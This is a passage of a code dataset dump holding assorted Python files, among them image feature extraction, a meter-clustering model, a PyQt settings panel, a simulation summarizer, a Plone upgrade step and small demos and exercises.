['Acdf','Bsda','acsd','bsd']\nx.sort()\nprint(x)","sub_path":"1.python编程基础/6.数据类型:列表/3.常用列表方法/9.列表排序.py","file_name":"9.列表排序.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"570318778","text":"import numpy as np\nimport pandas as pd\nimport cv2\nfrom scipy import ndimage\nfrom skimage import io\nfrom skimage.morphology import watershed\nfrom skimage.feature import peak_local_max,greycomatrix,greycoprops\nfrom skimage.filters import gaussian\nfrom skimage.measure import regionprops,label\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nimport argparse\nimport math\nimport os, glob\n\nclass blob_analysis:\n def __init__(self,img_path,lab_path):\n self.img_path = img_path\n self.lab_path = lab_path\n\n def circularity(self,area,perimeter):\n circ = 4*math.pi*area/(perimeter+1e-8)**2\n circ[circ>1]=1\n return circ\n\n def coordinates(self,coords):\n x,y = [],[]\n for i in range(len(coords)):\n x = np.append(x,coords[i,0])\n y = np.append(y,coords[i,1])\n return x,y\n\n def bbox_detail(self,bbox):\n X = [x[1] for x in bbox]\n Y = [y[0] for y in bbox]\n width = [x[3]-x[1] for x in bbox]\n height = [y[2]-y[0] for y in bbox]\n bbox_area = np.array(width)*np.array(height)\n return X,Y,width,height,bbox_area\n\n def calculate_glcm(self,img,label,X,Y,width,height):\n glcm_list = []\n #i = 0\n for roi_X,roi_Y,roi_width,roi_height in zip(X,Y,width,height):\n roi_img = img[roi_Y:roi_Y+roi_height,roi_X:roi_X+roi_width]\n\n #Image.fromarray(roi_img).save(str(i)+\".png\")\n roi_label = label[roi_Y:roi_Y+roi_height,roi_X:roi_X+roi_width]\n roi_img[roi_label==0] = 0\n #Image.fromarray(roi_img).save(str(i)+\"a.png\")\n #print(roi_img)\n glcm = greycomatrix(roi_img,[1],[0])\n glcm = glcm[1:, 1:, :, :]\n #print(glcm.shape)\n\n glcm_list.append(greycomatrix(roi_img,[1],[0]))\n #i += 1\n return glcm_list\n\n def glcm_contrast(self,glcm_list):\n contrast = []\n for glcm in glcm_list:\n contrast.append(greycoprops(glcm, 'contrast')[0,0])\n return contrast\n\n def glcm_dissimilarity(self,glcm_list):\n dissimilarity = []\n for glcm in glcm_list:\n dissimilarity.append(greycoprops(glcm, 'dissimilarity')[0,0])\n return dissimilarity\n\n def glcm_homogeneity(self,glcm_list):\n homogeneity = []\n for glcm in glcm_list:\n homogeneity.append(greycoprops(glcm, 'homogeneity')[0,0])\n return homogeneity\n\n def glcm_energy(self,glcm_list):\n energy = []\n for glcm in glcm_list:\n energy.append(greycoprops(glcm, 'energy')[0,0])\n return energy\n\n def glcm_correlation(self,glcm_list):\n correlation = []\n for glcm in glcm_list:\n correlation.append(greycoprops(glcm, 'correlation')[0,0])\n return correlation\n\n def glcm_ASM(self,glcm_list):\n ASM = []\n for glcm in glcm_list:\n ASM.append(greycoprops(glcm, 'ASM')[0,0])\n return ASM\n\n\n def feature_extract(self):\n basename = os.path.basename(self.img_path)\n name, ext = os.path.splitext(basename)\n src = io.imread(self.img_path)\n src_label = io.imread(self.lab_path)\n dst_label = label(src_label)\n measure = regionprops(dst_label,src)\n _number = len(measure)\n _name = np.asarray([name]*_number)\n _area = np.array([prop.area for prop in measure])\n _bbox = np.array([prop.bbox for prop in measure])\n _X,_Y,_width,_height,_bbox_area = self.bbox_detail(_bbox)\n #_moments_central = np.array([prop.moments_central for prop in measure])\n _centroid = np.array([prop.centroid for prop in measure])\n _centroid_x,_centroid_y = self.coordinates(_centroid)\n _convex_area = np.array([prop.convex_area for prop in measure])\n #_convex_image = np.array([prop.convex_image for prop in measure])\n #_coords = np.array([prop.coords for prop in measure])\n _equivalent_diameter = np.array([prop.equivalent_diameter for prop in measure])\n _eccentricity = np.array([prop.eccentricity for prop in measure])\n _extent = np.array([prop.extent for prop in measure]) #area / (rows * cols)\n _filled_area = np.array([prop.filled_area for prop in measure])\n #_filled_image = np.array([prop.filled_image for [name]*len(_label)prop in measure])\n #_moments_hu = np.array([prop.moments_hu for prop in measure])\n #_image = np.array([prop.image for prop in measure])\n _label = np.array([prop.label for prop in measure],dtype=\"int64\")\n _major_axis_length = np.array([prop.major_axis_length for prop in measure])\n _minor_axis_length = np.array([prop.minor_axis_length for prop in measure])\n _max_intensity = np.array([prop.max_intensity for prop in measure])\n _mean_intensity = np.array([prop.mean_intensity for prop in measure])\n _min_intensity = np.array([prop.min_intensity for prop in measure])\n #_moments = np.array([prop.moments for prop in measure])\n #_moments_normalized = np.array([prop.moments_normalized for prop in measure])\n _orientation = np.array([prop.orientation for prop in measure])\n _perimeter = np.array([prop.perimeter for prop in measure])\n _solidity = np.array([prop.solidity for prop in measure])\n #_weighted_moments_central = np.array([prop.weighted_moments_central for prop in measure])\n _weighted_centroid = np.array([prop.weighted_centroid for prop in measure])\n _weighted_centroid_x,_weighted_centroid_y = self.coordinates(_weighted_centroid)\n #_weighted_moments_hu = np.array([prop.weighted_moments_hu for prop in measure])\n #_weighted_moments = np.array([prop.weighted_moments for prop in measure])\n #_weighted_moments_normalized = np.array([prop.weighted_moments_normalized for prop in measure])\n _circularity = self.circularity(_area,_perimeter)\n _glcm = self.calculate_glcm(src,src_label,_X,_Y,_width,_height)\n _contrast = self.glcm_contrast(_glcm)\n _dissimilarity = self.glcm_dissimilarity(_glcm)\n _correlation = self.glcm_correlation(_glcm)\n _energy = self.glcm_energy(_glcm)\n _homogeneity = self.glcm_homogeneity(_glcm)\n _ASM = self.glcm_ASM(_glcm)\n features_name = [\"Name\",\"Label\",\"Area\",\"UpperLeft_X\",\"UpperLeft_Y\",\"width\",\"height\",\"BBox_area\",\"Centroid_X\",\"Centroid_Y\",\"Convex_area\",\n \"Equivalent_diameter\",\"Eccentricity\",\"Extent\",\n \"Filled_area\",\"Major_axis_length\",\"Minor_axis_length\",\"Max_intensity\",\"Mean_intensity\",\n \"Min_intensity\",\"Orientation\",\"Perimeter\",\"Solidity\",\"Circularity\",\"Weighted_Centroid_X\",\"Weighted_Centroid_Y\",\"Contrast\",\n \"Dissimilarity\",\"Correlation\",\"Energy\",\"Homogeneity\",\"ASM\"]\n results = np.array([_name,_label,_area,_X,_Y,_width,_height,_bbox_area,_centroid_x,_centroid_y,_convex_area,_equivalent_diameter,_eccentricity,\n _extent,_filled_area,_major_axis_length,_minor_axis_length,_max_intensity,_mean_intensity,_min_intensity,\n _orientation,_perimeter,_solidity,_circularity,_weighted_centroid_x,_weighted_centroid_y,_contrast,_dissimilarity,_correlation,\n _energy,_homogeneity,_ASM])\n df = pd.DataFrame(results.T, columns=features_name)\n return name,df\n\n def statictics(self,data):\n return 0\n\n def batch_analysis(self,dirs):\n for dir in dirs:\n print(dir)\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"data\")\n parser.add_argument(\"output_mode\") #indivisual,batch,heterogeneity\n parser.add_argument(\"--graph\")\n\n args = parser.parse_args()\n folder_path = args.data+\"/\"\n save_path = \"./results/\"\n os.makedirs(save_path, exist_ok=True)\n print(\"Folder path: \",folder_path)\n folders = os.listdir(folder_path)\n folders_dir = [f for f in folders if os.path.isdir(os.path.join(folder_path, f))]\n print(\"{} folders for analysis\".format(len(folders_dir)))\n print(folders_dir)\n for folder in folders_dir:\n image_list = glob.glob(folder_path+folder+\"/image/*.png\")\n if len(image_list) == 0:\n image_list = glob.glob(folder_path+folder+\"/image/*.tif\")\n assert len(image_list) != 0 , print(\"No images to analyze.\")\n label_list = glob.glob(folder_path+folder+\"/label/*.png\")\n if len(label_list) == 0:\n label_list = glob.glob(folder_path+folder+\"/label/*.tif\")\n assert len(label_list) != 0 , print(\"No labels to analyze.\")\n assert len(image_list) == len(label_list), print(\"Different number of images and labels.\")\n if args.output_mode == \"indivisual\":\n for img,lab in zip(image_list,label_list):\n test= blob_analysis(img,lab)\n name,result = test.feature_extract()\n result.to_csv(save_path + name + \".csv\")\n elif args.output_mode == \"batch\":\n cnt = 0\n for img,lab in zip(image_list,label_list):\n test = blob_analysis(img,lab)\n name,result = test.feature_extract()\n if cnt == 0:\n temp = result\n elif cnt == 1:\n results = pd.concat([temp,result],axis=0)\n else:\n results = pd.concat([results,result],axis=0)\n cnt += 1\n results.to_csv(save_path + folder + \".csv\")\n","sub_path":"blob_analysis.py","file_name":"blob_analysis.py","file_ext":"py","file_size_in_byte":9529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"284056976","text":"from statsmodels.tsa.arima_model import ARIMA\nimport numpy as np\nfrom pandas import DataFrame\nfrom .clusterer import Clusterer\n\n# Not used!\n\n\nclass CorrelationClustererModel(object):\n params = {\n # The features which are used as input\n 'externalFeatures': ['temperature', 'dewpoint', 'national', 'school'], #, 'time'\n\n # Shifts are the prev days\n 'shifts': list(range(1,5)),#48)), # +[cur*96 for cur in range(7)] + [cur*96*7 for cur in range(4)],\n }\n\n\n\nclass CorrelationClusterer(Clusterer):\n \"\"\"\n This is disaggregator which clusters all meters by their correlation \n towards each other. That means, that meters with similar powerflows will\n end up in a group. The kind of correlation is chosen.\n\n Attributes\n ----------\n model_class: type \n The model type, which belonging to the clusterer.\n \n \"\"\"\n\n # The related model\n model_class = CorrelationClustererModel\n\n def __init__(self, model = None):\n \"\"\"\n Constructor of this class which takes an optional model as input.\n If no model is given, it creates a default one.\n\n Paramters\n ---------\n model: Model of type model_class\n The model which shall be used.\n \"\"\"\n super(CorrelationClusterer, self).__init__(model)\n\n \n def train(self, meters):\n '''\n Does the training of the neural network. Each load chunk is translated into \n multiple minibatches used for training the network.\n '''\n\n # Create the model\n trainer = self._model_creation()\n \n #Initialize the parameters for the trainer, we will train in large minibatches in sequential order\n columns = [('power', 'active'), ('school',''), ('national',''), ('temperature',''), ('dewpoint','')]\n for chunk in meters.load(sample_period=900, cols=columns, ignore_missing_columns=True):\n chunk = chunk[chunk[('power','active')].notnull()]\n self._addShiftsToChunkAndReduceToValid(chunk)\n\n # Prepare input for ANN \n training_features = chunk.drop(('power','active'),axis=1)\n training_features = np.asarray(training_features, dtype = \"float32\")\n training_labels = DataFrame(chunk.loc[:,('power','active')])\n training_labels = np.asarray(training_labels, dtype = \"float32\")\n num_minibatches = training_features.shape[0] // self.model.params['size_minibatches'] #len(training_data.index) // minibatch_size\n tf = np.array_split(training_features,num_minibatches)\n tl = np.array_split(training_labels, num_minibatches)\n\n # Do the training batch per batch\n for i in range(num_minibatches* self.model.params['num_passes']):\n features = np.ascontiguousarray(tf[i%num_minibatches])\n labels = np.ascontiguousarray(tl[i%num_minibatches])\n \n # Specify the mapping of input variables in the model to actual minibatch data to be trained with\n trainer.train_minibatch({self.model.input : features, self.model.label : labels})\n batchsize, loss, error = self._track_training_progress(trainer, i, self.model.params['training_progress_output_freq'], verbose = True)\n if not (loss == \"NA\" or error ==\"NA\"):\n self.model.plotdata[\"batchsize\"].append(batchsize)\n self.model.plotdata[\"loss\"].append(loss)\n self.model.plotdata[\"error\"].append(error)\n\n\n def predict(self, horizon):\n '''\n This method uses the learned model to predict the future\n '''\n test_features = np.ascontiguousarray(test_data[predictor_names], dtype = \"float32\")\n test_labels = np.ascontiguousarray(test_data[[\"next_day\",\"next_day_opposite\"]], dtype=\"float32\")\n\n avg_error = trainer.test_minibatch({input : test_features, label : test_labels})\n print(\"Average error: {0:2.2f}%\".format(avg_error * 100))\n\n\n\n def _addShiftsToChunkAndReduceToValid(self, chunk):\n '''\n This function takes the current chunk of the meter and adapts it sothat\n it can be used for training. That means it extends the dataframe by the \n missing features we want to learn.\n '''\n \n # Compute the stock being up (1) or down (0) over different day offsets compared to current dat closing price\n chunk\n for i in self.model.params['shifts']:\n chunk[('shifts', str(i))] = chunk[('power','active')].shift(i) # i: number of look back days\n chunk.drop(chunk.index[chunk[('shifts',str(self.model.params['shifts'][-1]))].isnull()], inplace=True)\n\n\n \n\n\n def _model_creation(self):\n '''\n Build the ANN\n '''\n\n # Define input and output which his fixed\n params = self.model.params\n num_output_classes = 1 \n input_dim = len(params['externalFeatures']) + len(params['shifts'])\n input_dynamic_axes = [C.Axis.default_batch_axis()]\n input = C.input_variable(input_dim, dynamic_axes=input_dynamic_axes)\n self.model.input = input\n label = C.input_variable(num_output_classes, dynamic_axes=input_dynamic_axes)\n self.model.label = label\n\n # Create the network\n h = input\n with C.layers.default_options(init = C.glorot_uniform()):\n for i in range(params['num_hidden_layers']):\n h = C.layers.Dense(params['hidden_layers_dim'], \n activation = C.relu)(h)\n z = C.layers.Dense(num_output_classes, activation=None)(h) \n\n # Define error metric and trainer\n loss = C.cross_entropy_with_softmax(z, label)\n label_error = C.classification_error(z, label)\n lr_per_minibatch = C.learning_rate_schedule(0.125,C.UnitType.minibatch)\n return C.Trainer(z, (loss, label_error), [C.sgd(z.parameters, lr=lr_per_minibatch)])\n\n\n\n \n def _track_training_progress(self, trainer, mb, frequency, verbose = False):\n '''\n\n '''\n training_loss = \"NA\"\n eval_error = \"NA\"\n if mb%frequency == 0:\n training_loss = trainer.previous_minibatch_loss_average\n eval_error = trainer.previous_minibatch_evaluation_average\n if verbose: \n print (\"Minibatch: {0}, Loss: {1:.4f}, Error: {2:.2f}%\".format(mb, training_loss, eval_error*100))\n return mb, training_loss, eval_error\n\n","sub_path":"nilmtk/clustering/correlation_clusterer.py","file_name":"correlation_clusterer.py","file_ext":"py","file_size_in_byte":6497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"469092677","text":"'''\n@author: zhufd\n@license: (C) Copyright 明州体检\n@contact: 13736093855\n@software: HMS\n@file: widget_set.py\n@time: 2019-2-11 16:39\n@version:0.1\n@desc: 快速滚动到当前窗口,也可以啦滚动条的\n'''\n\n# '''\n# 左侧为QListWidget,右侧使用QScrollArea设置QVBoxLayout,然后依次往里面添加QWidget\n# 相关事件:\n# 1、绑定左侧QListWidget的itemClicked的到该item的索引\n# 2、绑定右侧滚动条的valueChanged事件得到pos\n# 注意:当itemClicked时定位滚动条的值时,需要设置一个标志位用来避免valueChanged重复调用item的定位\n# '''\n\nfrom widget_custom.common import *\n\n#��置区域,用于添加多个窗口\nclass SettingScrollWidget(QScrollArea):\n\n def __init__(self, parent=None):\n super(SettingScrollWidget, self).__init__(parent)\n self.initUI()\n\n def initUI(self):\n self.setFrameShape(QFrame.NoFrame)\n self.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)\n self.setWidgetResizable(True)\n # 设置滚动区域\n self.widget_contents = QWidget(self)\n # self.widget_contents.setGeometry(QRect(0, 0, 3000, 600))\n self.lt_main = QVBoxLayout()\n self.setWidget(self.widget_contents)\n self.widget_contents.setLayout(self.lt_main)\n\n # 添加窗口\n def addWidget(self, widget: QWidget):\n #self.lt_main.setContentsMargins(35, 20, 35, 20)\n self.lt_main.setSpacing(20)\n self.lt_main.addWidget(widget)\n\nclass SettingWidget(QWidget):\n\n def __init__(self, parent=None):\n super(SettingWidget, self).__init__(parent)\n self.initParas()\n self.initUI()\n self.initSignal()\n\n def initSignal(self):\n # 绑定滚动条和左侧item事件\n self.widget_right.verticalScrollBar().valueChanged.connect(self.onValueChanged)\n self.widget_left.itemClicked.connect(self.onLabelClicked)\n self.buttonBox.accepted.connect(self.on_btn_submit_click)\n self.buttonBox.rejected.connect(self.on_btn_cancle_click)\n\n def initUI(self):\n lt_main = QHBoxLayout()\n lt_main.setContentsMargins(0, 0, 0, 0)\n lt_main.setSpacing(0)\n # 左边布局\n lt_right = QVBoxLayout()\n lt_right.setContentsMargins(0, 0, 0, 0)\n lt_right.setSpacing(0)\n # 左边标签列表\n self.widget_left = QListWidget()\n self.widget_left.setStyleSheet(self.style)\n self.widget_left.setFrameShape(QFrame.NoFrame)\n self.widget_left.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOff)\n self.widget_left.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)\n # 右边滚动区域\n self.widget_right = SettingScrollWidget(self)\n # 保存按钮\n self.buttonBox=QDialogButtonBox()\n self.buttonBox.addButton(\"保存\",QDialogButtonBox.YesRole)\n self.buttonBox.addButton(\"取消\", QDialogButtonBox.NoRole)\n self.buttonBox.setCenterButtons(True)\n lt_right.addWidget(self.widget_right)\n lt_right.addSpacing(25)\n lt_right.addWidget(self.buttonBox)\n lt_right.addSpacing(10)\n lt_main.addWidget(self.widget_left)\n lt_main.addLayout(lt_right)\n self.setLayout(lt_main)\n\n def onValueChanged(self, value):\n \"\"\"滚动条\"\"\"\n if self.signal_block:\n # 防止item点击时改变滚动条会触发这里\n return\n widgets = list(self.child_widgets.values())\n for widget in widgets:\n # widget不为空且在可视范围内\n if widget and not widget.visibleRegion().isEmpty():\n self.widget_left.setCurrentRow(widgets.index(widget)) # 设置item的选中\n return\n\n def onLabelClicked(self,item:QListWidgetItem):\n widget = self.child_widgets.get(item.text())\n if not widget:\n return\n # 定位右侧位置并滚动\n self.signal_block = True\n self.widget_right.verticalScrollBar().setSliderPosition(widget.pos().y())\n self.signal_block = False\n\n # 标签与窗口必须一一对应\n def addWidget(self,label:str,widget:QWidget):\n '''\n :param label: 标签\n :param widget: 窗口\n :return:\n '''\n item = QListWidgetItem(label)\n item.setSizeHint(QSize(30, 50))\n item.setTextAlignment(Qt.AlignCenter) # 居中显示\n self.widget_left.addItem(item)\n self.widget_right.addWidget(widget)\n self.child_widgets[label] = widget\n\n # 返回滚动区域子窗口\n def widgets(self):\n return self.child_widgets.values()\n\n # 设置窗口\n def setCurWidget(self,widget:QWidget):\n index = list(self.widgets()).index(widget)\n self.widget_left.setCurrentRow(index)\n self.onLabelClicked(self.widget_left.item(index))\n\n def on_btn_submit_click(self):\n pass\n\n def on_btn_cancle_click(self):\n pass\n\n def initParas(self):\n # 滚动信号\n self.signal_block = False\n self.child_widgets = OrderedDict()\n # 样式表\n self.style = '''\n QListWidget {\n outline: 0px;\n }\n QListWidget {\n min-width: 80px;\n max-width: 80px;\n color: Black;\n background: #F5F5F5;\n }\n QListWidget::Item:selected {\n background: lightGray;\n border-left: 5px solid red;\n }\n HistoryPanel:hover {\n background: rgb(52, 52, 52);\n }\n '''","sub_path":"widget_custom/widget_set.py","file_name":"widget_set.py","file_ext":"py","file_size_in_byte":5586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"251881768","text":"# Below solution divides the problem into subproblems of size y/2 and call the subproblems recursively.\n# Python3 program to calculate pow(x,n)\n\n# Function to calculate x\n# raised to the power y\ndef quick_power(x, y):\n if x < y:\n x, y = y, x\n if y == 0:\n return 1\n elif y % 2 == 0: # even\n a = quick_power(x, y // 2)\n return a * a\n else: # odd\n a = quick_power(x, y // 2)\n return x * a * a\n\n\n# Driver Code\nx = 2\ny = 3\nprint(quick_power(2, 3))\n# print(quick_power(5, 2))\n","sub_path":"Cheatsheet/_quick.py","file_name":"_quick.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"309333265","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n__author__ = 'nekokcode'\n\nimport os\nimport mp3play\n\n\n__script__ = \\\n 't 这是一个测试' \\\n 'o:1 选项A' \\\n 'o:2 选项B' \\\n '' \\\n '#1 m test.mp3' \\\n 't 你已经跳到了选项A' \\\n '' \\\n '#2 t 你选择了选项B' \\\n '' \\\n 'm!' \\\n '#3 这是个结局.'\n\n\nclass Render(object):\n text = ''\n options = []\n\n def __init__(self):\n pass\n\n def start(self):\n while True:\n os.system('cls')\n self.render_frame()\n os.system('pause >null')\n\n def render_frame(self):\n print(self.text + '\\n')\n for index in range(self.options):\n print('(' + str(index) + ')' + self.options[index] + ':')\n\n\nif __name__ == \"__main__\":\n render = Render()\n render.start()\n","sub_path":"text_render.py","file_name":"text_render.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"424960281","text":"import threading,sys,os\nfrom threading import Thread as th\nfrom time import sleep\nimport Pedrocrawlerheader as ch\nfrom termcolor import colored,cprint\n\nclass threads:\n\n def __init__(self):\n self.threads=[]\n\n def inicia(self,x,y):\n self.threads.append(th(target=ch.thread,args=(x,y)))\n\n def start(self):\n for x in self.threads:\n x.daemon = True\n x.start()\n\n def startthread(self):\n i=0\n ch.read()\n for x in range(6400,7700):\n i+=1\n if i==100:\n self.inicia(x,(x+100))\n i=0\n else:\n continue\n self.start()\n\nwhile 1:\n thr=threads()\n cprint(\"Menu\\n1-Adicionar pessoas para a pesquisa do ID\\n2-Procurar\\n3-Procura calendario por id\",\"cyan\")\n opc=input(\"\")\n if opc == \"1\":\n os.system(\"clear\")\n cprint(\"Qual é o nome?\\n\",\"cyan\")\n opcn=input(\"\")\n ch.write(opcn)\n elif opc == \"2\":\n os.system(\"clear\")\n thr.startthread()\n cprint(\"Processos a correr em Background!\",'red')\n elif opc == \"3\":\n os.system(\"clear\")\n cprint(\"Procurar por id o calendario\",'cyan')\n ch.User()\n '''\n opcn=input(\"\")\n while 1:\n cprint(\"Qual o dia? (01/01/2018)\",'cyan')\n data = input(\"\")\n datastrip = data.split(\"/\")\n lista31=[1,3,5,7,8,10,12]\n lista30=[4,6,9,11]\n if (int(datastrip[1]) >= 1) or (int(datastrip[1]) <= 12):\n if int(datastrip[1]) in lista31:\n print(\"AQUI31\")\n if (int(datastrip[0]) >= 1) or (int(datastrip[0]) <= 31):\n ch.calendar(opcn,data)\n else:\n cprint(\"Data invalida!\",'red')\n continue\n elif int(datastrip[1]) in lista30:\n print(\"AQUI30\")\n if (int(datastrip[0]) >= 1) or (int(datastrip[0]) <= 30):\n ch.calendar(opcn,data)\n else:\n cprint(\"Data invalida!\",'red')\n continue\n elif int(datastrip[1]) == 2:\n if (int(datastrip[0]) >= 1) or (int(datastrip[0]) <= 28):\n ch.calendar(opcn,data)\n else:\n cprint(\"Data invalida!\",'red')\n continue\n else:\n cprint(\"Data invalida!\",'red')\n continue\n\n else:\n cprint(\"Data invalida!\",'red')\n continue\n\n #ch.calendar(opcn,date)\n '''\n else:\n os.system(\"clear\")\n cprint(\"Invalido!\",'red',attrs=[\"bold\"])\n continue\n","sub_path":"Pedrocrawler.py","file_name":"Pedrocrawler.py","file_ext":"py","file_size_in_byte":2795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"268219342","text":"#!/usr/bin/python\n# vim:ts=4:sts=4:sw=4:et:wrap:ai:fileencoding=utf-8:\n#\n# Copyright 2013 Albert De La Fuente\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"\nSummarizeData :: Data summarizer\n\"\"\"\n__version__ = \"0.1\"\n__author__ = \"Albert De La Fuente\"\n\n\n#from distsim.model.tracefilter import TraceFilter\nimport distsim.analysis.summarizedata as sd\nimport distsim.analysis.csvloader as csvl\nimport distsim.analysis.plotdata as plot\nimport argparse\n\n\ndef get_default_arg(default_value, arg):\n if arg is None:\n return default_value\n else:\n return arg\n \n#def summarize_file(fname):\n# \n# #/home/afu/2013-sbrc-experiments.results\n# s = sd.SummarizeData('/home/afu/2013-sbrc-experiments/results')\n# best, worst, average = s.load_pm_scenario(fname)\n# s.csv_write()\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='A VM distribution/placement simulator.')\n parser.add_argument('-i', '--indir', help='Input directory', required=False)\n parser.add_argument('-o', '--outdir', help='Output directory', required=False)\n args = parser.parse_args()\n\n indir = get_default_arg('/home/afu/2013-sbrc-experiments/results', args.indir)\n outdir = get_default_arg('/home/afu/2013-sbrc-experiments/results', args.indir)\n \n trace_scenarios = [\n '146-179_surfsnel_dsl_internl_net_root',\n 'host4-plb_loria_fr_uw_oneswarm',\n 'plgmu4_ite_gmu_edu_rnp_dcc_ufjf',\n \n 'planetlab1_fct_ualg_pt_root',\n 'host3-plb_loria_fr_inria_omftest',\n 'planetlab1_georgetown_edu_nus_proxaudio',\n \n 'planetlab1_dojima_wide_ad_jp_princeton_contdist',\n 'planetlab-20110409-filtered_planetlab1_s3_kth_se_sics_peerialism', \n 'planetlab-wifi-01_ipv6_lip6_fr_inria_omftest'\n ]\n algorithm_scenarios = [\n 'EnergyUnawareStrategyPlacement',\n 'OpenOptStrategyPlacement',\n 'EvolutionaryComputationStrategyPlacement'\n ]\n host_scenarios = range(10, 110, 10)\n simulation_scenarios = range(1, 31)\n \n p = plot.GraphGenerator(indir)\n \n for trace in trace_scenarios:\n for host in host_scenarios:\n per_algoritm_summary = {}\n for algorithm in algorithm_scenarios:\n fname = 'simulation-' + trace + '-' + algorithm + '-' + str(host).zfill(3)\n print('processing {}...'.format(fname))\n d = sd.SummarizeData(indir)\n d.load_pm_scenario(fname)\n per_algoritm_summary[algorithm] = d\n d.csv_write()\n p.set_data(per_algoritm_summary)\n p.plot_all_algorithm_comparison(host, trace)\n p.plot_all_confidence_interval_comparison(trace)\n \n #fname = 'simulation-146-179_surfsnel_dsl_internl_net_root-EnergyUnawareStrategyPlacement-020'\n #summarize_file(fname)\n #\n #fname = 'simulation-146-179_surfsnel_dsl_internl_net_root-OpenOptStrategyPlacement-020'\n #summarize_file(fname)\n #\n #fname = 'simulation-146-179_surfsnel_dsl_internl_net_root-EvolutionaryComputationStrategyPlacement-020'\n #summarize_file(fname)\n \n #feu = 'simulation-146-179_surfsnel_dsl_internl_net_root-EnergyUnawareStrategyPlacement-020-best'\n #fksp = 'simulation-146-179_surfsnel_dsl_internl_net_root-OpenOptStrategyPlacement-020-best'\n #fec = 'simulation-146-179_surfsnel_dsl_internl_net_root-EvolutionaryComputationStrategyPlacement-020-best'\n #data_eu = csvl.CSVLoader(feu)\n #data_ksp = csvl.CSVLoader(fksp)\n #data_ec = csvl.CSVLoader(fec)\n #p = plot.GraphGenerator(data_eu, data_ksp, data_ec)\n #p.plot_all()\n #print('done')\n","sub_path":"distsim-summarizedata.py","file_name":"distsim-summarizedata.py","file_ext":"py","file_size_in_byte":4139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"631435414","text":"from DateTime import DateTime\nfrom ftw.upgrade import UpgradeStep\nfrom plone import api\nfrom Products.CMFCore.WorkflowCore import WorkflowException\n\n\nclass FixMailReviewHistory(UpgradeStep):\n \"\"\"Fix mail review_history.\n \"\"\"\n\n deferrable = True\n\n def __call__(self):\n wftool = api.portal.get_tool('portal_workflow')\n\n # The problem has been fixed on 20 Now 2014 with the commit\n # 3cf26ce1edf9bb665d0df6719d95b9aad32d3d53, so we calculate two\n # additional years to make sure the change has been installed in\n # production\n query = {'portal_type': 'ftw.mail.mail',\n 'created': {'query': DateTime(2016, 11, 20), 'range': 'max'}}\n\n for mail in self.objects(query, 'Fix mail review_history'):\n try:\n wftool.getInfoFor(mail, \"review_history\")\n except WorkflowException:\n continue\n\n self.fix_workflow_history(mail)\n\n def fix_workflow_history(self, mail):\n wf_history = mail.workflow_history\n if not wf_history:\n return\n\n if 'opengever_mail_workflow' not in wf_history:\n return\n\n new_history = []\n for entry in wf_history.get('opengever_mail_workflow'):\n if 'state' in entry.keys():\n entry['review_state'] = entry.pop('state')\n\n new_history.append(entry)\n\n wf_history['opengever_mail_workflow'] = tuple(new_history)\n","sub_path":"opengever/core/upgrades/20210611084449_fix_mail_review_history/upgrade.py","file_name":"upgrade.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"177890793","text":"from pico2d import *\nimport helper\n\ndef handle_events():\n global running, speed\n global move_list, move_count\n evts = get_events()\n for e in evts:\n if e.type == SDL_QUIT:\n running = False\n elif e.type == SDL_KEYDOWN:\n if e.key == SDLK_ESCAPE:\n running = False\n elif e.type == SDL_MOUSEBUTTONDOWN:\n move_list.append((e.x, get_canvas_height() - 1 - e.y, move_list[len(move_list) - 1][2] + 1))\n if move_count == 0:\n move_count += 1\n\ndef move_character():\n global x, y, speed\n global move_list, move_count\n global animation_index\n\n if move_count < len(move_list):\n delta = helper.delta((x, y), move_list[move_count][0:2], move_list[move_count][2])\n\n if move_count != 0:\n if delta[0] >= 0:\n animation_index = 1\n else:\n animation_index = 0\n\n (x, y), done = helper.move_toward((x, y), delta, move_list[move_count][0:2])\n\n if done:\n move_count += 1\n else:\n move_list.append((x, y, 0))\n move_count += 1\n if animation_index == 0:\n animation_index = 2\n elif animation_index == 1:\n animation_index = 3\n\nopen_canvas()\n\ngrass = load_image('../res/grass.png')\ncharacter = load_image('../res/run_animation.png')\n\nrunning = True\nx, y = 400, 85\nmove_list = [(400, 85, 0)]\nmove_count = 0\nframe_index = 0\n\nwhile running:\n clear_canvas()\n grass.draw(400, 30)\n character.clip_draw(frame_index*100, 0, 100, 100, x, y)\n update_canvas()\n\n handle_events()\n move_character()\n\n frame_index = (frame_index + 1) % 8\n delay(0.01)\n\nclose_canvas()","sub_path":"과제/assignment_06/py_01_06_2018182048_1.py","file_name":"py_01_06_2018182048_1.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"221691520","text":"from common import *\nimport grpc\n\nclass OpColumn:\n def __init__(self, op, 